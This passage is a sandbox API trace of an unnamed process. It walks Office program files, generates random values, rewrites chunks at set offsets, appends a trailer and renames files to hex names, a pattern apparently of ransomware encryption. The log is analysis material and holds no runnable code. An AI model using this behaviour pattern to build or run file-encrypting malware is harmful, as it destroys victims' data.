Office\\Office14\\ADDINS\\PMAILEXT.ECF" [0097.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0097.515] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0097.515] wcscmp (_String1="UmOutlookAddin.dll", _String2=".") returned 1 [0097.515] wcscmp (_String1="UmOutlookAddin.dll", _String2="..") returned 1 [0097.515] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f65c00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81f65c00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 0 [0097.515] FindClose (in: hFindFile=0x1cd9d730 | out: hFindFile=0x1cd9d730) returned 1 [0097.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce578e0) returned 1 [0097.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e4f0) returned 1 [0097.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 Thread: id = 372 os_tid = 0xf00 [0089.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic")) returned 0x20 [0089.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC", dwFileAttributes=0x20) returned 1 [0089.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa6c [0089.771] GetFileSizeEx (in: hFile=0xa6c, lpFileSize=0x2614f680 | out: lpFileSize=0x2614f680*=1651918) returned 1 [0089.771] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0x1934ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.771] ReadFile (in: hFile=0xa6c, lpBuffer=0x2614f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2614f648, lpOverlapped=0x0 | out: lpBuffer=0x2614f600*, lpNumberOfBytesRead=0x2614f648*=0x4, lpOverlapped=0x0) returned 1 [0089.773] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a720 [0089.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a570 [0089.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a690 [0089.773] NtQuerySystemTime (in: CurrentTime=0x2614f540 | out: CurrentTime=0x2614f540*=132462176956354000) returned 0x0 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x5919623 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x112405a4 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x7edc6bcc [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x4cd63d0d [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x5fadd46d [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x5c813b4f [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x70283002 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x1f16154a [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0xef8736d [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x35c58df6 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0xb192e90 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x4d278bfd [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x45c7100c [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x3072bf9a [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x4c6665ef [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x2d4c5840 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x19f37b9e [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x50b3ba54 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x489d7545 [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x192e00f [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x33ec134f [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x60e169ac [0089.773] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x3c65d45e [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x7fb3c026 [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x3680f964 [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x20ccd4eb [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x3272ab2e [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x69a8138d [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x700cfecd [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x74f23104 [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x52be9933 [0089.774] RtlRandomEx (in: Seed=0x2614f530 | out: Seed=0x2614f530) returned 0x784b8aa3 [0089.783] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.783] ReadFile (in: hFile=0xa6c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2614f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x2614f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.786] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0089.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a720 [0089.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a720) returned 1 [0089.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceb4d30 [0089.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a720 [0089.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a690 [0089.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a690) returned 1 [0089.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0089.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.786] WriteFile (in: hFile=0xa6c, lpBuffer=0x1ceb4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2614f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb4d30*, lpNumberOfBytesWritten=0x2614f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb4d30) returned 1 [0098.396] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0xca800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.396] ReadFile (in: hFile=0xa6c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2614f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x2614f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0099.816] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0xca800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc70 [0099.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0099.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0099.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce91e20 [0100.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0100.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a20 [0100.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a20) returned 1 [0100.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0100.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0100.755] WriteFile (in: hFile=0xa6c, lpBuffer=0x1ce91e20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2614f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce91e20*, lpNumberOfBytesWritten=0x2614f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce91e20) returned 1 [0147.970] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0x18f8ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.970] ReadFile (in: hFile=0xa6c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2614f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x2614f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.022] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0x18f8ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0148.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67a0) returned 1 [0148.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42035950 [0148.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67a0 [0148.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0148.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62f0) returned 1 [0148.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.024] WriteFile (hFile=0xa6c, lpBuffer=0x42035950, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2614f5a0, lpOverlapped=0x0) [0179.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42035950) returned 1 [0179.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce154c0 [0179.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67a0) returned 1 [0179.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261eb0) returned 1 [0179.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a720) returned 1 [0179.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0185.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cec7b20 [0185.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62d70 [0185.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb7e0 [0185.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8cf0 [0185.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8cf0) returned 1 [0185.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cec8cf0 [0185.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8d80 [0185.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8db0 [0185.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8db0) returned 1 [0185.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb7e0) returned 1 [0185.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62d70) returned 1 [0185.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebcc10 [0185.871] SetFilePointerEx (in: hFile=0xa6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0185.871] WriteFile (in: hFile=0xa6c, lpBuffer=0x1cebcc10*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2614f650, lpOverlapped=0x0 | out: lpBuffer=0x1cebcc10*, lpNumberOfBytesWritten=0x2614f650*=0x146, lpOverlapped=0x0) returned 1 [0201.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0201.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0201.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0201.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0201.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f8740 [0201.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0201.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0201.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0201.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0201.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0201.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5e9b0 [0201.797] sprintf (in: _Dest=0x1ce5e9b0, _Format="%c%c" | out: _Dest="50") returned 2 [0201.797] sprintf (in: _Dest=0x1ce5e9b2, _Format="%c%c" | out: _Dest="54") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9b4, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9b6, _Format="%c%c" | out: _Dest="77") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9b8, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9ba, _Format="%c%c" | out: _Dest="21") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9bc, _Format="%c%c" | out: _Dest="31") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9be, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9c0, _Format="%c%c" | out: _Dest="75") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9c2, _Format="%c%c" | out: _Dest="6c") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9c4, _Format="%c%c" | out: _Dest="92") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9c6, _Format="%c%c" | out: _Dest="b0") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9c8, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9ca, _Format="%c%c" | out: _Dest="84") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9cc, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9ce, _Format="%c%c" | out: _Dest="9c") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9d0, _Format="%c%c" | out: _Dest="b9") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9d2, _Format="%c%c" | out: _Dest="6a") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9d4, _Format="%c%c" | out: _Dest="dc") returned 2 [0201.798] sprintf (in: _Dest=0x1ce5e9d6, _Format="%c%c" | out: _Dest="ac") returned 2 [0201.798] RtlInitAnsiString (in: DestinationString=0x2614f6c8, SourceString="50542f778a2131d8756c92b0c784ee9cb96adcac" | out: DestinationString="50542f778a2131d8756c92b0c784ee9cb96adcac") [0201.798] RtlAnsiStringToUnicodeString (in: DestinationString=0x2614f698, SourceString="50542f778a2131d8756c92b0c784ee9cb96adcac", AllocateDestinationString=1 | out: DestinationString="50542f778a2131d8756c92b0c784ee9cb96adcac") returned 0x0 [0201.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ce940 [0201.799] wcscat (in: _Dest=0x202a5f10, _Source="50542f778a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\50542f778a") returned="C:\\Program Files\\Microsoft Office\\Office14\\50542f778a" [0201.799] wcscat (in: _Dest=0x202a5f10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\50542f778a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\50542f778a.2f9b60" [0201.799] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\50542f778a.2f9b60", NtPathName=0x2614f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\50542f778a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205c290 Thread: id = 373 os_tid = 0xf04 [0089.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic")) returned 0x20 [0089.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC", dwFileAttributes=0x20) returned 1 [0089.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advtel.dic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa70 [0089.794] GetFileSizeEx (in: hFile=0xa70, lpFileSize=0x2623f680 | out: lpFileSize=0x2623f680*=3809238) returned 1 [0089.794] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x3a1fd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.794] ReadFile (in: hFile=0xa70, lpBuffer=0x2623f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2623f648, lpOverlapped=0x0 | out: lpBuffer=0x2623f600*, lpNumberOfBytesRead=0x2623f648*=0x4, lpOverlapped=0x0) returned 1 [0089.796] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a690 [0089.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6c0 [0089.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6f0 [0089.796] NtQuerySystemTime (in: CurrentTime=0x2623f540 | out: CurrentTime=0x2623f540*=132462176956666000) returned 0x0 [0089.796] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x4e154a73 [0089.796] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x3024116 [0089.796] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x122e9fcb [0089.796] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x3c93cc8d [0089.796] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x202fdd10 [0089.796] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x1cbad13 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x7fdb744 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x6ad85f0c [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x4de3aaf0 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x77f8903c [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x6dd05582 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x52f23e4d [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x4d31be7d [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x6ac41aa6 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x5fed9788 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x5e352743 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x49a013eb [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x540b1ae6 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x2f7eb7e0 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x62f36f1f [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x2d7a743 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x6302e166 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x2a753ded [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x70291cfa [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x6e260702 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x9cc268a [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x6660cabc [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x2d8eabd5 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x6eca5ba7 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x5fdfad9 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x2c4544e1 [0089.797] RtlRandomEx (in: Seed=0x2623f530 | out: Seed=0x2623f530) returned 0x13dc603 [0089.805] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.805] ReadFile (in: hFile=0xa70, lpBuffer=0x1ceb8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2623f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8940*, lpNumberOfBytesRead=0x2623f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.812] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0089.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a690 [0089.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a690) returned 1 [0089.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cebc550 [0089.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a690 [0089.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a6f0 [0089.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a6f0) returned 1 [0089.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0089.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.813] WriteFile (in: hFile=0xa70, lpBuffer=0x1cebc550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2623f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc550*, lpNumberOfBytesWritten=0x2623f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc550) returned 1 [0098.398] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.398] ReadFile (in: hFile=0xa70, lpBuffer=0x1ceb8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2623f5a0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8940*, lpNumberOfBytesRead=0x2623f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.396] SetFilePointerEx (in: hFile=0xa70, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.396] 